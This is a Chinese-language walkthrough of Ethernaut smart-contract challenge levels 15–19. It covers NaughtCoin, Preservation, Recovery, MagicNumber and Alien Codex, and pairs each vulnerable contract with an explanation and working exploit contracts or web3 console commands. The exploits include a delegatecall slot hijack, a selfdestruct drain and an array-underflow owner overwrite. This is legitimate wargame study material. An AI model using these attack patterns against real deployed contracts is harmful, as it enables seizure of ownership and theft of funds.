Ethernaut靶场
15题 NaughtCoin
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20('NaughtCoin', '0x0') public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
漏洞分析:
刚开始看题,只知道是一个ERC20的代币合约。
入手点:
这个合约是一个ERC20合约,但是它只对transfer
这一个函数进行了修饰。所以我们可以用另一个函数transferFrom
来进行转账操作。
这是ERC20的两个转账函数。
既然要使用transferFrom
,那么接下来就应该给调用者授权我们的余额使用权。
合约攻击:
在控制台输入:
await contract.approve(contract.address,await contract.balanceof(player))
然后再输入:
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
即可完成攻击,提交实例。
16题 Preservation
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
漏洞分析:
这道题的题目要求是让我们拿到合约的所有权。但合约中并没有与owner有关的能够被我们调用的语句。
但我们很明显能够发现,合约中只有两个函数,都使用了delegatecall
从另两个合约地址中去调用setTime
函数,我们在delegation题目中讲解了delegatecall的一些问题,今天我们就需要认识到他的另一个问题。
delegatecall在调用时如果需要修改storage变量,他并不会通过变量名称去当前合约中查找相应的变量进行值的替换,而是会通过变量在被调用合约中的插槽进行改变。
而storedTime在Library合约中存在了slot(0),但是在Preservation合约中slot 0存放的数据是timeZone1Library,也就是第一个library合约的地址,如果我们将这个地址修改为我们的攻击合约,那么之后在调用setFirstTime的时候,就会调用我们自己的setTime函数,我们以此来编写攻击合约。
call & delegatecall
这里再简单说一下call和delegatecall:
- call:调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境;
- delegatecall:调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境;
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Attack{
address public ad1;
address public ad2;
address public owner;
function setTime(uint _time) public {
owner = address(_time);
}
}
- 首先,部署我的攻击合约。
- 部署题目合约,拿到我的攻击合约地址后,setFirstTime()里面放我的攻击合约地址。
- 再次调用setFirstTime(),之后调用owner,就会发现owner已经变成了我自己。至此攻击成功。
17题 Recovery
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
漏洞分析:
第一遍看的时候,感觉好像找不出什么问题。题目要求:
从丢失的合约地址中恢复(或移除)以太币,则此级别将完成。
题目中给到了一个合约地址,是Recovery
的地址,题目中说创建者通过Recovery创建了一个SimpleToken,然后把地址给忘了,要我们找到这个地址并且把里面的钱弄出来。很容易,通过区块链浏览器就可以找到他创建的SimpleToken
。
攻击合约: 得到地址后,只需要执行合约的自毁函数即可:
pragma solidity ^0.6.0;
contract attack{
address payable target;
address payable owner;
constructor(address payable _target, address payable _own) public{
target = _target;
owner = _own;
}
function dosome() public {
target.call(abi.encodeWithSignature("destroy(address)",owner));
}
}
以上这种写法需要设置gasLimit。
也可以:
通过encodeFunctionSignature
获取函数指示,并构造参数。最后通过sendTransaction发送出来。
我们输入:
await web3.eth.sendTransaction({from:player,to:target,data:await web3.eth.abi.encodeWithSignature(“destroy(address)”) + "000000000000000000000000 +“目标合约地址”})
即可完成攻击,提交实例,关卡完成。
18题 MagicNumber
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}
题目要求:
要解决这个关卡,你只需要向 Ethernaut 提供一个,一个用正确的数字
Solver
响应的合约。whatIsTheMeaningOfLife()
。 求解器的代码需要非常小。真的很小。就像 freakin' really really itty-bitty tiny:最多 10 个操作码。
提示:也许是时候暂时离开 Solidity 编译器的舒适环境,并手动构建这个 O_o。没错:原始 EVM 字节码。
说成人话:
需要让solver是一个合约,这个合约的
whatIsTheMeaningOfLife()
函数会返回一个正确的数字,而且这个函数的opcode不能超过10个,正常写的话是会超过的,所以要自己手写opcode。
看题目可以知道,这道题考察的是solidity的字节码。
以太坊字节码 操作码
下面开始分析:
以太坊的合约编译部署过程:
-
首先,用户或合约向以太坊发送交易。 此交易包含数据,但没有收件人地址。此格式向EVM表明这是一个
contract creation
,而非常规的发送/调用事务。 -
其次,EVM将solidity中的合约代码编译成字节码。 此字节码直接转换为操作码,在单个调用堆栈中执行。
注意:contract creation
字节码包含:
①initialization code
;
②合约实际的runtime code
,按顺序链接。
-
在合约创建期间,EVM仅执行
initialization code
知道到达堆栈中的第一个STOP或RETURN指令。 在此阶段,运行合约的constructor()函数,并且合约只有一个地址。 -
运行此初始代码后,
runtime code
堆栈中 只剩下剩余部分。 然后将这些操作码复制到内存中,并返回到EVM。 -
最后,EVM将返回的剩余代码与新合约地址互相关联地存储在状态存储中。 这是
runtiome code
将在未来所有对新合约的调用中由堆栈执行的。
要解决这一关,需要两组操作码:
-
Initialization opcodes
:由EVM立即运行,以创建合约并存储未来运行时的操作码。 -
Runtime opcodes
:包含你想要的实际执行逻辑。这是代码的主要部分,应该返回0X42
并且在十个操作码以下。
返回值由RETURN
操作码处理,它有两个参数:
p
:你的值在内存中存放的位置,即0x0、0x40、0x50(见图)。让我们任意选择 0x80 插槽。s
:存储数据的大小。回想一下,您的值是 32 个字节长(或十六进制的 0x20)。
看了登链社区的这篇文章才明白了整个流程:solidity字节码和操作码基础知识
解释一下一下这串所表示的意义:
PUSH1 0x60 PUSH1 0x40 MSTORE
- PUSH1 (0x60):将 0x60 放入堆栈。
- PUSH1 (0x40):将 0x40 放入堆栈。
- MSTORE (0x52):分配0x60的内存空间并移动到0x40的位置。
生成的字节码是:
6060604052
事实上,我们总是在任何 Solidity 字节码的开头看到这个神奇的数字“6060604052”,因为它是智能合约引导的方式。
更复杂的是,0x40 或 0x60 不能解释为实数 40 或 60。由于它们是十六进制的,因此 40 实际上等于 64 (16 x 4),而 60 等于十进制的 96 (16 x 6)。PS:简单的十六进制转换为十进制,我一般习惯十六进制先转二进制,再转成十进制。
简而言之,“PUSH1 0x60 PUSH1 0x40 MSTORE”所做的就是分配 96 字节的内存并将指针移动到第 64 字节的开头。 我们现在有 64 字节用于暂存空间和 32 字节用于临时内存存储。
在 EVM 中,有 3 个地方存储数据。
首先,在堆栈中。 根据上面的示例,我们刚刚使用“PUSH”操作码在那里存储数据。
其次,在我们使用“MSTORE”操作码的内存(RAM) 中。
最后,在我们使用“SSTORE”存储数据的磁盘存储中。 将数据存储到存储所需的气体Gas是最昂贵的,而将数据存储到堆栈是最便宜的。
学习了一下,终于理解了opcodes在EVM中是怎么运转的。
说回合约攻击:
await web3.eth.sendTransaction({from:player,data:"0x600a600c600039600a6000f3602a60805260206080f3"}, function(err,res){console.log(res)}) await contract.setSolver("0x067Cb3Ec131555289AC6C12cF702f121d080e1E1");
19题 Alien Codex
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface AlienCodex {
function make_contact() external ;
function record(bytes32 _content) external ;
function retract() external ;
function revise(uint i, bytes32 _content) external ;
}
contract Feng {
AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
function attack() public {
target.make_contact();
target.retract();
uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
target.revise(i, payload);
}
}
题目要求:声明所有权以完成关卡。
漏洞分析:
slot0放的是owner和contact,算出可以覆盖的i值,然后覆盖掉就可以了。
攻击合约:
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
interface AlienCodex {
function make_contact() external ;
function record(bytes32 _content) external ;
function retract() external ;
function revise(uint i, bytes32 _content) external ;
}
contract Feng {
AlienCodex constant private target = AlienCodex(0x53c5A404b93e96DA6b913c222b728E8825f987E5);
bytes32 public payload = 0x0000000000000000000000017D11f36fA2FD9B7A4069650Cd8A2873999263FB8;
function attack() public {
target.make_contact();
target.retract();
uint i = 2**256 - 1 - uint(keccak256(abi.encodePacked(uint(1)))) +1;
target.revise(i, payload);
}
}